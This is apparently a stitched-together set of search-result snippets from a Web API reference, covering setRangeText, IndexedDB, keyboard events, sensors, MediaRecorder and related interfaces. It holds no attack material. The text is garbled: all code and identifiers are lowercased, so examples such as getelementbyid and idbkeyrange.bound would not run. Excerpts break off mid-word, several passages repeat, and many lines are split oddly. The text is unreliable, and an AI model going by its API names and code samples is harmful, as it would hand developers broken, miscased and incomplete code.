new string. syntax element.setrangetext(replacement); element.setrangetext(replacement, start, end [, selectmode]); parameters replacement the string to insert. start optional the 0-based index of the first character to replace. defaults to the current selectionstart value (the start of the user's current selection). end optional the 0-based index of the character after the last character to replace. defaults to the current selectionend value (the end of the user's current selection). selectmode optional a string defining how the selection should be set after the text has been replaced. possible values: "select" selects the
newly inserted text. "start"moves the s...
...ould be set after the text has been replaced. possible values: "select" selects the
newly inserted text. "start"moves the selection to just before the inserted text. "end" moves the selection to just after the inserted text. "preserve" attempts to preserve the selection. this is the default. example click the button in this example to replace part of the text in the text box. the
newly inserted text will be highlighted (selected) afterwards. html <input type="text" id="text-box" size="30" value="this text has not been updated."> <button onclick="selecttext()">update text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.setrangetext('already', 14, 17, 'select'); } result specifications ...
HTMLMediaElement: seeking event - Web APIs
the seeking event is fired when a seek operation starts, meaning the boolean seeking attribute has changed to true and the media is seeking a
new position. bubbles no cancelable no interface event target element default action none event handler property globaleventhandlers.onseeking specification html5 media examples these examples add an event listener for the htmlmediaelement's seeking event, then post a message when that event handler has reacted to the event firing. ...
... globaleventhandlers.onseeking specification html5 media examples these examples add an event listener for the htmlmediaelement's seeking event, then post a message when that event handler has reacted to the event firing. using addeventlistener(): const video = document.queryselector('video'); video.addeventlistener('seeking', (event) => { console.log('video is seeking a
new position.'); }); using the onseeking event handler property: const video = document.queryselector('video'); video.onseeking = (event) => { console.log('video is seeking a
new position.'); }; specifications specification status html living standardthe definition of 'seeking media event' in that specification. living standard html5the definition of 'seeking m...
HashChangeEvent - Web APIs
#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">hashchangeevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits the properties of its parent, event. hashchangeevent.
newurl read only the
new url to which the window is navigating. hashchangeevent.oldurl read only the previous url from which the window was navigated. methods this interface has no methods of its own, but inherits the methods of its parent, event. examples syntax options for a hash change you can listen for the hashchange event using any of the following options: window.onhashchange = f...
...here is a version that allows only one handler to be bound to the onhashchange property: ;(function(window) { // exit if the browser implements that event if ( "onhashchange" in window.document.body ) { return; } var location = window.location, oldurl = location.href, oldhash = location.hash; // check the location hash on a 100ms interval setinterval(function() { var
newurl = location.href,
newhash = location.hash; // if the hash has changed and a handler has been bound... if (
newhash != oldhash && typeof window.onhashchange === "function" ) { // execute the handler window.onhashchange({ type: "hashchange", oldurl: oldurl,
newurl:
newurl }); oldurl =
newurl; oldhash =
newhash; } }, 100...
Headers.getAll() - Web APIs
obsolete since gecko 52 (firefox 52 / thunderbird 52 / seamonkey 2.49)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. the getall() method of the headers interface used to return an array of all the values of a header within a headers object with a given name; in
newer versions of the fetch spec, it has been deleted, and headers.get() has been updated to fetch all header values instead of only the first one. if the requested header doesn't exist in the headers object, it returns an empty array. for security reasons, some headers can only be controller by the user agent. these headers include the forbidden header names and forbidden response header names. syntax myheaders.g...
... syntax myheaders.getall(name); parameters name the name of the http header whose values you want to retrieve from the headers object. if the given name is not the name of an http header, this method throws a typeerror. returns an array containing a bytestring sequence representing the values of the retrieved header. ...
IDBCursor.update() - Web APIs
the update() method of the idbcursor interface returns an idbrequest object, and, in a separate thread, updates the value at the current position of the cursor in the object store. if the cursor points to a record that has just been deleted, a
new record is created. be aware that you can't call update() (or idbcursor.delete()) on cursors obtained from idbindex.openkeycursor(). for such needs, you have to use idbindex.opencursor() instead. note: this feature is available in web workers. syntax var anidbrequest = myidbcursor.update(value); parameters value the
new value to be stored at the current position. return value an idbrequest object on which subsequent events related to this operation are fired. exceptions this method may raise a domexception of one of the following types...
...ecords in the object store. if the albumtitle of the current cursor is "a farewell to kings", we update year the album was released using var request = cursor.update();. note that you cannot change primary keys using cursor.update(), hence us not changing the album title; this would ruin the integrity of the data. in such a situation, you would have to delete the record altogether and then add a
new one using idbobjectstore.add. note also that you can't directly put cursor.value into an update call, hence the below example using an intermediary updatedata variable. the cursor does not require us to select the data based on a key; we can just grab all of it. also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
IDBIndexSync - Web APIs
tabaseexception); parameters key the key that identifies the record to be retrieved. returns any the retrieved value from the referenced object store. exceptions this method can raise a idbdatabaseexception with the following code: not_found_err if no record exists in this index for the given key. opencursor() creates a cursor over the records of this index. the range of the
new cursor matches the specified key range; if the key range is not specified or is null, then the range includes all the records. void opencursor ( in optional idbkeyrange range, in optional unsigned short direction ) raises (idbdatabaseexception); parameters range the key range to use as the cursor's range. direction the cursor's required direction. returns void exceptions this me...
...ge to use as the cursor's range. direction the cursor's required direction. returns void exceptions this method can raise an idbdatabaseexception with the following code: not_found_err if no records exist in this index for the requested key range. openobjectcursor() creates a cursor over the records of this index's referenced object store, as arranged by this index. the range of the
new cursor matches the specified key range; if the key range is not specified or is null, then the range includes all the records. void openobjectcursor ( in optional idbkeyrange range, in optional unsigned short direction ) raises (idbdatabaseexception); parameters range the key range to use as the cursor's range. direction the cursor's required direction. returns void exceptions t...
IDBKeyRange.bound() - Web APIs
the bound() method of the idbkeyrange interface creates a
new key range with the specified upper and lower bounds. the bounds can be open (that is, the bounds exclude the endpoint values) or closed (that is, the bounds include the endpoint values). by default, the bounds are closed. note: this feature is available in web workers. syntax var myidbkeyrange = idbkeyrange.bound(lower, upper); var myidbkeyrange = idbkeyrange.bound(lower, upper, loweropen); var myidbkeyrange = idbkeyrange.bound(lower, upper, loweropen, upperopen); parameters lower specifies the lower bound of the
new key range. upper specifies the upper bound of the
new key range. loweropen optional indicates whether the lower bound excludes the endpoint value. the default is false. upperopen optional indicate...
... exceptions this method may raise a domexception of the following type: exception description dataerror the following conditions raise an exception: the lower or upper parameters were not passed a valid key. ...
IDBObjectStore.getKey() - Web APIs
ction is inactive. dataerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. ...
...taerror the key or key range provided contains an invalid key. invalidstateerror the idbobjectstore has been deleted or removed. ...
IDBOpenDBRequest.onblocked - Web APIs
i>'; }; request.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable. ...
... // store the result of opening the database in the db variable. // this is used a lot below db = request.result; // run the displaydata() function to populate the task list with // all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a
new version of the // database needs to be created. ...
IDBOpenDBRequest.onupgradeneeded - Web APIs
}; example in the following example you can see the onupgradeneeded handler being used to update the database structure if a database with a higher version number is loaded. for a full working example, see our to-do notifications app (view example live.) var db; // request version 3 of the database. var request = window.indexeddb.open("library", 3); // this event handles the event whereby a
new version of the // database needs to be created. either one has not been created // before, or a
new version number has been submitted via the // window.indexeddb.open line above. request.onupgradeneeded = function(event) { db = request.result; db.onerror = function(errorevent) { note.innerhtml += '<li>error loading database.</li>'; }; if (event.oldversion < 1) { // version 1 is ...
...= '<li>error loading database.</li>'; }; if (event.oldversion < 1) { // version 1 is the first version of the database. var store = db.createobjectstore("books", {keypath: "isbn"}); var titleindex = store.createindex("by_title", "title", {unique: true}); var authorindex = store.createindex("by_author", "author"); } if (event.oldversion < 2) { // version 2 introduces a
new index of books by year. var bookstore = request.transaction.objectstore("books"); var yearindex = bookstore.createindex("by_year", "year"); } if (event.oldversion < 3) { // version 3 introduces a
new object store for magazines with two indexes. var magazines = db.createobjectstore("magazines"); var publisherindex = magazines.createindex("by_publisher", "publisher"); va...
IDBOpenDBRequest - Web APIs
openrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable. ...
...// store the result of opening the database in the db // variable. ...
IDBRequest.error - Web APIs
following error codes are returned under certain conditions: error explanation aborterror if you abort the transaction, then all requests still in progress receive this error. constrainterror if you insert data that doesn't conform to a constraint. it's an exception type for creating stores and indexes. you get this error, for example, if you try to add a
new key that already exists in the record. quotaexceedederror if you run out of disk quota and the user declined to grant you more space. unknownerror if the operation failed for reasons unrelated to the database itself. a failure due to disk io errors is such an example. noerror if the request succeeds. versionerror if you try to open a database with a...
...uest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this
new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); }; specifications specific...
IDBRequest: error event - Web APIs
ateindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }); dbopenrequest.addeventlistener('success', event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const
newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(
newitem); objectstorerequest.addeventlistener('error', () => { console.log(`error adding
new item: ${
newitem.tasktitle}`); }); }); the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest...
... objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); const objectstore = transaction.objectstore('todolist'); const
newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(
newitem); objectstorerequest.onerror = () => { console.log(`error adding
new item: ${
newitem.tasktitle}`); }; }; ...
IDBRequest.transaction - Web APIs
openrequest.on...
...s how a the transaction property can be used during a version upgrade to access existing object stores: var openrequest = indexeddb.open('db', 2); console.log(openrequest.transaction); // will log "null". openrequest.onupgradeneeded = function(event) { console.log(openrequest.transaction.mode); // will log "versionchange". var db = openrequest.result; if (event.oldversion < 1) { //
new database, create "books" object store. db.createobjectstore('books'); } if (event.oldversion < 2) { // upgrading from v1 database: add index on "title" to "books" store. var bookstore = openrequest.transaction.objectstore('books'); bookstore.createindex('by_title', 'title'); } }; openrequest.onsuccess = function() { console.log(openrequest.transaction); // will log "null"...
IDBTransaction: complete event - Web APIs
t.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.addeventlistener('complete', event => { console.log('transaction was competed'); }); const objectstore = transaction.objectstore('todolist'); const
newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(
newitem); }; using the oncomplete property: // open the database const dbopenrequest = window.indexeddb.open('todolist', 4); dbopenrequest.onupgradeneeded = event => { const db = event.target.result; db.onerror = () => { console.log('error creat...
... }; dbopenrequest.onsuccess = event => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); // add a listener for `complete` transaction.oncomplete = event => { console.log('transaction was competed'); }; const objectstore = transaction.objectstore('todolist'); const
newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2019 }; const objectstorerequest = objectstore.add(
newitem); }; ...
IDBTransaction: error event - Web APIs
createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.addeventlistener('error', () => { console.log(`error adding
new item: ${
newitem.tasktitle}`); }); const objectstore = transaction.objectstore('todolist'); const
newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(
newitem); }; the same example, using the onerror property instead of addeventlistener(): // open the database const dbopenrequest = window.indexedd...
...; objectstore.createindex('month', 'month', { unique: false }); objectstore.createindex('year', 'year', { unique: false }); }; dbopenrequest.onsuccess = (event) => { const db = dbopenrequest.result; // open a read/write db transaction, ready for adding the data const transaction = db.transaction(['todolist'], 'readwrite'); transaction.onerror = () => { console.log(`error adding
new item: ${
newitem.tasktitle}`); }; const objectstore = transaction.objectstore('todolist'); const
newitem = { tasktitle: 'my task', hours: 10, minutes: 10, day: 10, month: 'january', year: 2020 }; const objectstorerequest = objectstore.add(
newitem); }; ...
IIRFilterNode() - Web APIs
the iirfilternode() constructor of the web audio api creates a
new iirfilternode object which an audionode processor which implements a general infinite impulse response filter. syntax var iirfilternode =
new iirfilternode(context, options) parameters inherits parameters from the audionodeoptions dictionary. context a reference to an audiocontext. options options are as follows: feedforward: a sequence of feedforward coefficients. feedback: a sequence of feedback coefficients. unlike other nodes in the web audio api, the options passed into the iir filter upon creation are not optional. the filter needs these values to work and with the vast range of filters available, there is no default. return value a
new iirfilternode object instance. examples let feedforward = ...
...on are not optional. the filter needs these values to work and with the vast range of filters available, there is no default. return value a
new iirfilternode object instance. examples let feedforward = [0.00020298, 0.0004059599, 0.00020298]; let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; const audiocontext = window.audiocontext || window.webkitaudiocontext; const audioctx =
new audiocontext(); const iirfilter =
new iirfilternode(audioctx, { feedforward: feedforward, feedback: feedbackward }); specifications specification status comment web audio apithe definition of 'iirfilternode()' in that specification. working draft initial definition. browser compatibility the compatibility table on this page is generated from structured da...
ImageCapture - Web APIs
the imagecapture interface of the mediastream image capture api provides methods to enable the capture of images or photos from a camera or other photographic device. it provides an interface for capturing images from a photographic device referenced through a valid mediastreamtrack. constructor imagecapture() creates a
new imagecapture object which can be used to capture still frames (photos) from a given mediastreamtrack which represents a video stream. properties imagecapture.track read only returns a reference to the mediastreamtrack passed to the constructor. methods the imagecapture interface is based on eventtarget, so it includes the methods defined by that interface as well as the ones listed below. imagecapture.takephoto() takes a single exposure using the video ...
...t so that takephoto() and grabframe() can be called. finally, it shows how to apply the results of these calls to a canvas object. ...
InstallEvent - Web APIs
properties inherits properties from its ancestor, event. installevent.activeworker read only returns the serviceworker that is currently controlling the page. methods inherits methods from its parent, extendableevent. examples this code snippet is from the service worker prefetch sample (see prefetch running live.) the code calls extendableevent.waituntil() in se...
...[ './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event. ...
compareVersion - Web APIs
in particular plugin developers should see how to package a plugin as an extension. compareversion compares the version of a file or package with the version of an existing file or package. ...
...registered. -4 registryname has a smaller (earlier) major number than version. -3 registryname has a smaller (earlier) minor number than version. -2 registryname has a smaller (earlier) release number than version. -1 registryname has a smaller (earlier) build number than version. 0 the version numbers are the same; both objects represent the same version. 1 registryname has a larger (
newer) build number than version. 2 registryname has a larger (
newer) release number than version. 3 registryname has a larger (
newer) minor number than version. 4 registryname has a larger (
newer) major number than version. the following constants can be used to check the value returned by compareversion: int major_diff = 4; int minor_diff = 3; int rel_diff = 2; int bld_diff = 1; int equal ...
installChrome - Web APIs
method of installtrigger object syntax int installchrome( type, url, name ) parameters the installchrome method has the following parameters: type type can be installtrigger.skin or installtrigger.locale. url url is a string containing a full or relative url to download name name is displayed in the dialog, but is also used to *select* the theme somust match exactly the name in the internal manifest.rdf file. returns a boolean value indicating false if the software install feature has been turned off, and true if it's on. note that this return value does not indicate anything about the success of the installation. ...
...displayed in the dialog, but is also used to *select* the theme somust match exactly the name in the internal manifest.rdf file. returns a boolean value indicating false if the software install feature has been turned off, and true if it's on. note that this return value does not indicate anything about the success of the installation. description installchrome is a special method for installing
new chrome in netscape 6 and mozilla. the method performs a simplified installation of language packs or netscape 6/mozilla skins, and saves you the trouble of writing separate installation scripts in the xpi files or using the more sophisticated methods of the install and file objects. ...
KeyboardEvent.code - Web APIs
ipsize = { width: 30, height: 30 }; let position = { x: 200, y: 200 }; let moverate = 9; let turnrate = 5; let angle = 0; let spaceship = document.getelementbyid("spaceship"); next comes the function updateposition(). this function takes as input the distance the ship is to be moved, where positive is a forward movement and negative is a backward movement. this function computes the
new position of the ship given the distance moved and the current direction the ship is facing. it also handles ensuring that the ship wraps across the boundaries of the play field instead of vanishing. function updateposition(offset) { let rad = angle * (math.pi/180); position.x += (math.sin(rad) * offset); position.y -= (math.cos(rad) * offset); if (position.x < 0) { position.x = 399;...
... window.addeventlistener("keydown", function(event) { if (event.defaultprevented) { return; // do nothing if event already handled } switch(event.code) { case "keys": case "arrowdown": // handle "back" updateposition(-moverate); break; case "keyw": case "arrowup": // handle "forward" updateposition(moverate); break...
Key Values - Web APIs
ys), but they are more sensibly considered to be their own category. keyboardevent.key value description virtual keycode windows mac linux android "close" [1] closes the current document or message. must not exit the application. appcommand_close gdk_key_close (0x1008ff56) qt::key_close (0x010000ce) keycode_media_close (128) "
new" [1] creates a
new document or message. appcommand_
new gdk_key_
new (0x1008ff68) qt::key_
new (0x01000120) "open" [1] opens an existing document or message. appcommand_open gdk_key_open (0x1008ff6b) qt::key_open (0x01000121) "print" prints the current document or message. appcommand_print gdk_key_print (0xff61) qt::print (...
... 9 (encoded as "0" through "9"), some multimedia keyboards include additional number keys for higher numbers. the 10 key, if present, generates events with the key value of "0". keyboardevent.key value description virtual keycode windows mac linux android "decimal" [1] the decimal point key (typically . or , depending on the region). in
newer browsers, this value to simply be the character generated by the decimal key (one of those two characters). [1] vk_decimal (0x6e) kvk_ansi_keypaddecimal (0x41) gdk_key_kp_decimal (0xffae) keycode_numpad_dot (158) "key11" the 11 key found on certain media numeric keypads. "key12" the 12 key found on certain media numeric keypads. ...
KeyboardEvent.key - Web APIs
d input events, you may get incorrect output on those lines of the log output. case 1 when the shift key is pressed, a keydown event is first fired, and the key property value is set to the string shift. as we keep holding this key, the keydown event does not continue to fire repeatedly because it does not produce a character key. when key 2 is pressed, another keydown event is fired for this
new key press, and the key property value for the event is set to the string @ for the u.s keyboard type and " for the uk keyboard type, because of the active modifier shift key. the beforeinput and input events are fired next because a character key has been produced. as we release the key 2, a keyup event is fired and the key property will maintain the string values @ and " for the different keybo...
...ey, another keyup event is fired for it, and the key attribute value remains shift. case 2 when the shift key is pressed, a keydown event is first fired, and the key property value is set to be the string shift. as we keep holding this key, the keydown event does not continue to fire repeatedly because it produced no character key. when key 2 is pressed, another keydown event is fired for this
new key press, and the key property value for the event is set to be the string @ for the u.s keyboard type and " for the uk keyboard type, because of the active modifier shift key. the beforeinput and inputbeforeinput and input events are fired next because a character key has been produced. as we keep holding the key, the keydown event continues to fire repeatedly and the keyboardevent.repeat prope...
KeyframeEffect.setKeyframes() - Web APIs
syntax existingkeyframeeffect.setkeyframes(keyframes); parameters keyframes a keyframe object or null. if set to null, the keyframes are replaced with a sequence of empty keyframes. there are two different ways to format keyframes: an array of objects (keyframes) consisting of properties and values to iterate over. this is the canonical format returned by the getkeyframes() method. ...
...e property value lists, each supplied offset is applied to the corresponding keyframe. if there are insufficient values, or if the list contains null values, the keyframes without specified offsets will be evenly spaced as with the array format described above. if there are too few easing or composite values, the corresponding list will be repeated as needed. implicit to/from keyframes in
newer browser versions, you are able to set a beginning or end state for an animation only (i.e. a single keyframe), and the browser will infer the other end of the animation if it is able to. for example, consider this simple animation — the keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; we have only specified the end state of the animation, and the beginni...
KeyframeEffect - Web APIs
properties keyframeeffect.target gets and sets the element, or originating element of the pseudo-element, being animated by this object. ...
...ation's timing values. keyframeeffect.setkeyframes() replaces the set of keyframes that make up this effect. animationeffect.updatetiming() updates the specified timing properties. examples in the follow the white rabbit example, the keyframeeffect constructor is used to create a set of keyframes that dictate how the white rabbit should animate down the hole: var rabbitdownkeyframes =
new keyframeeffect( whiterabbit, // element to animate [ { transform: 'translatey(0%)' }, // keyframe { transform: 'translatey(100%)' } // keyframe ], { duration: 3000, fill: 'forwards' } // keyframe options ); specifications specification status comment web animationsthe definition of 'keyframeeffect' in that specification. working draft ...
LinearAccelerationSensor - Web APIs
must grant permission to the 'accelerometer' device sensor through the permissions api. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor linearaccelerationsensor.linearaccelerationsensor() creates a
new linearaccelerationsensor object. properties linearaccelerationsensor.x read only returns a double containing the linear acceleration of the device along the device's x axis. linearaccelerationsensor.y read only returns a double containing the linear acceleration of the device along the device's y axis. linearaccelerationsensor.z read only returns a double containing the linear accele...
...y read only returns a double containing the linear acceleration of the device along the device's y axis. linearaccelerationsensor.z read only returns a double containing the linear acceleration of the device along the device's z axis. example linear acceleration is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
MSCandidateWindowUpdate - Web APIs
editor (ime) candidate window has been identified as needing to change size, but before any visual updates have rendered. this proprietary method is specific to internet explorer. general info synchronous no bubbles no cancelable no note windows 8.1 and windows 7 imes for certain languages on internet explorer for the desktop might not support this event. on internet explorer in the
new windows ui, this event is supported in windows 8.1 imes of all languages. syntax event property object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. tan ime candidate win...
... object.oncandidatewindowupdate = handler; addeventlistener method object.addeventlistener("mscandidatewindowupdate", handler, usecapture) parameters pevtobj [in] type: ihtmleventobj pointer to an ihtmleventobj interface for the current event. tan ime candidate window may be identified as needing to change size for any of the following reasons: as a result of displaying
new / changed alternatives or predictions web applications need only register for this event once per element (the handler will remain valid for the lifetime of the element). see also microsoft api extensions ime handling guide for gecko ...
MSSiteModeEvent - Web APIs
ompatibilities between implementations and the behavior may change in the future. mssitemodeevent provides event properties that are specific to pinned site events. this proprietary method is specific to internet explorer and microsoft edge. dom information inheritance hierarchy event mssitemodeevent methods method description initevent initializes a
new generic event that the createevent method created. *note that as of microsoft edge, the createevent()/initevent() constructor pattern for synthetic events is deprecated. preventdefault cancels the default action of an event. stopimmediatepropagation prevents any further propagation of an event. stoppropagation prevents propagation of an event beyond the current...
...he event. timestamp gets the time, in milliseconds, when an event occurred. ...
Magnetometer.Magnetometer() - Web APIs
a whole number or decimal may be used, the latter for frequencies less than a second. ...
...a whole number or decimal may be used, the latter for frequencies less than a second. ...
Magnetometer - Web APIs
se this sensor, the user must grant permission to the 'magnetometer' device sensor through the permissions api. if a feature policy blocks use of a feature, it's because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor magnetometer.magnetometer() creates a
new magnetometer object. properties magnetometer.x read only returns a double containing the magnetic field around the device's x axis. magnetometer.y read only returns a double containing the magnetic field around the device's y axis. magnetometer.z read only returns a double containing the magnetic field around the device's z axis. example the magnetometer is typically read in the s...
...c field around the device's x axis. magnetometer.y read only returns a double containing the magnetic field around the device's y axis. magnetometer.z read only returns a double containing the magnetic field around the device's z axis. example the magnetometer is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
MediaElementAudioSourceNode() - Web APIs
the mediaelementaudiosourcenode() constructor creates a
new mediaelementaudiosourcenode object instance. syntax var myaudiosource =
new mediaelementaudiosourcenode(context, options); parameters inherits parameters from the audionodeoptions dictionary. context an audiocontext representing the audio context you want the node to be associated with. options a mediaelementaudiosourceoptions dictionary object defining the properties you want the mediaelementaudiosourcenode to have: mediaelement: an htmlmediaelement that will be used as the source for the audio. return value a
new mediaelementaudiosourcenode object instance. ...
... an audiocontext representing the audio context you want the node to be associated with. options a mediaelementaudiosourceoptions dictionary object defining the properties you want the mediaelementaudiosourcenode to have: mediaelement: an htmlmediaelement that will be used as the source for the audio. return value a
new mediaelementaudiosourcenode object instance. example var ac =
new audiocontext(); var mediaelement = document.createelement('audio'); var options = { mediaelement : mediaelement } var myaudiosource =
new mediaelementaudiosourcenode(ac, options); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification. working draft ...
MediaList.mediaText - Web APIs
screen, print. ...
...screen, print. note that the medialist is a live list; updating the list via mediatext will immediately update the behavior of the document. ...
MediaQueryList.addListener() - Web APIs
ener() method of the mediaquerylist interface adds a listener to the mediaquerylistener that will run a custom callback function in response to the media query status changing. this is basically an alias for eventtarget.addeventlistener(), for backwards compatibility purposes. ...
... return value void. ...
MediaRecorder: dataavailable event - Web APIs
easons this event may raise, see the documentation for the event handler property: ondataavailable. examples using addeventlistener to listen for dataavailable events: ... var chunks = []; mediarecorder.addeventlistener('stop', (event) => { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob =
new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ... the same, but using the ondataavailable event handler property: ... var chunks = []; mediarecorder.onstop = function(e) { consol...
...corder stopped"); }); mediarecorder.addeventlistener('dataavailable', (event) => { chunks.push(event.data); }); ... the same, but using the ondataavailable event handler property: ... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob =
new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ... specifications specification status mediastream recording working draft ...
MediaRecorder: error event - Web APIs
able no interface mediarecordererrorevent event handler property onerror for details of the all the possible errors see the documentation for the event handler property: onerror. ...
...ue}); const recorder =
new mediarecorder(stream); recorder.addeventlistener('error', (event) => { console.error(`error recording stream: ${event.error.name}`) }); recorder.start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder =
new mediarecorder(stream); recorder.onerror = (event) => { console.error(`error recording stream: ${event.error.name}`) }; recorder.start(); } record(); specifications specification status mediastream recording working draft ...
MediaRecorder.ondataavailable - Web APIs
passed in a single blob. when mediarecorder.stop() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered in a blob; after this, capturing ends. when mediarecorder.requestdata() is called, all media data which has been captured since recording began or the last time a dataavailable event occurred is delivered; then a
new blob is created and media capture continues into that blob. if a timeslice property was passed into the mediarecorder.start() method that started media capture, a dataavailable event is fired every timeslice milliseconds. that means that each blob will have a specific time duration (except the last blob, which might be shorter, since it would be whatever is left over since the last event). so if...
...e event's data property. syntax mediarecorder.ondataavailable = function(event) { ... } mediarecorder.addeventlistener('dataavailable', function(event) { ... }) example ... var chunks = []; mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob =
new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.ondataavailable' i...
MediaRecorder.onerror - Web APIs
therwise be categorized. recording stops, the mediarecorder's state becomes inactive, one last dataavailable event is sent to the mediarecorder with the remaining received data, and finally a stop event is sent. these errors may occur either directly because of a call to a mediarecorder method, or indirectly due to a problem arising during the recording process. ...
...m arising during the recording process. example this example creates a
new mediarecorder instance and starts recording using the user agent's default media format. it returns either the mediarecorder or the name of the error that occurred if any exceptions are thrown during the setup process. ...
MediaRecorder.requestData() - Web APIs
tdata() method is invoked, the browser queues a task that runs the following steps: if mediarecorder.state is not "recording", raise a dom invalidstate error and terminate these steps. if mediarecorder.state is "recording", continue to the next step. raise a dataavailable event containing a blob of the currently captured data (the blob is available under the event's data attribute.) create a
new blob and place subsequently captured data into it. syntax mediarecorder.requestdata() errors an invalidstate error is raised if the requestdata() method is called while the mediarecorder object’s mediarecorder.state is not "recording" — the media cannot be captured if recording is not occurring. example ... capturemedia.onclick = function() { mediarecorder.requestdata(); // ...
...alidstate error is raised if the requestdata() method is called while the mediarecorder object’s mediarecorder.state is not "recording" — the media cannot be captured if recording is not occurring. example ... capturemedia.onclick = function() { mediarecorder.requestdata(); // makes snapshot available of data so far // ondataavailable fires, then capturing continues // in
new blob } ... specifications specification status comment mediastream recordingthe definition of 'mediarecorder.requestdata()' in that specification. working draft initial definition ...
MediaRecorderErrorEvent() - Web APIs
it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
...it must contain the error property at a minimum. error a domexception that describes the error that occurred. this object's name property should indicate the name of the error that occurred. the other fields may or may not be present. ...
MediaSession.metadata - Web APIs
set. this metadata is provided by the browser to the device for presentation in any standard media control user interface the device might offer. syntax var mediametadata = navigator.mediasession.metadata; navigator.mediasession.metadata = mediametadata; value an instance of mediametadata containing information about the media currently being played. ...
...he device might offer. syntax var mediametadata = navigator.mediasession.metadata; navigator.mediasession.metadata = mediametadata; value an instance of mediametadata containing information about the media currently being played. ...
MediaSession - Web APIs
kstate indicates whether the current media session is playing. valid values are none, paused, or playing. methods setactionhandler() sets an event handler for a media session action, such as play or pause. see the method page for a full list. setpositionstate() sets the current playback position and speed of the media currently being presented. ...
...ctionhandler() sets an event handler for a media session action, such as play or pause. see the method page for a full list. setpositionstate() sets the current playback position and speed of the media currently being presented. ...
MediaSource.MediaSource() - Web APIs
the mediasource() constructor of the mediasource interface constructs and returns a
new mediasource object with no associated source buffers. syntax var mediasource =
new mediasource(); parameters none. ...
... ...
MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() - Web APIs
